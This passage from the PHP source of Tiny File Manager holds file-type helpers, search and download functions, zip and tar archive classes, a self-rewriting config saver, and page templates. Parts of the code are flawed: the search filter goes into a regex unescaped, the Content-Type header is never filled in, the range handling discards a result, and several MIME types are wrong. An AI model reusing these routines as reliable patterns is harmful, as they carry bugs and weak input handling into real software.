'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>'; ?> <div class="col-xs-6 col-sm-7 text-right"> <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a> <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } /** * Show message from session */ function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]['message'])) { $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png"> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css"> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } /** * Show page footer in Login Form */ function fm_show_footer_login() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script> </body> </html> <?php } /** * Show Header after login */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png"> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" /> <?php if (FM_USE_HIGHLIGHTJS): ?> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css"> <?php endif; ?> <style> body { font-size:14px;color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a:hover, a:visited, a:focus { text-decoration:none !important; } * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } #search-addon2 { background:transparent;border-left:0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0 } pre.with-hljs code { margin:0;border:0;overflow:visible } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { 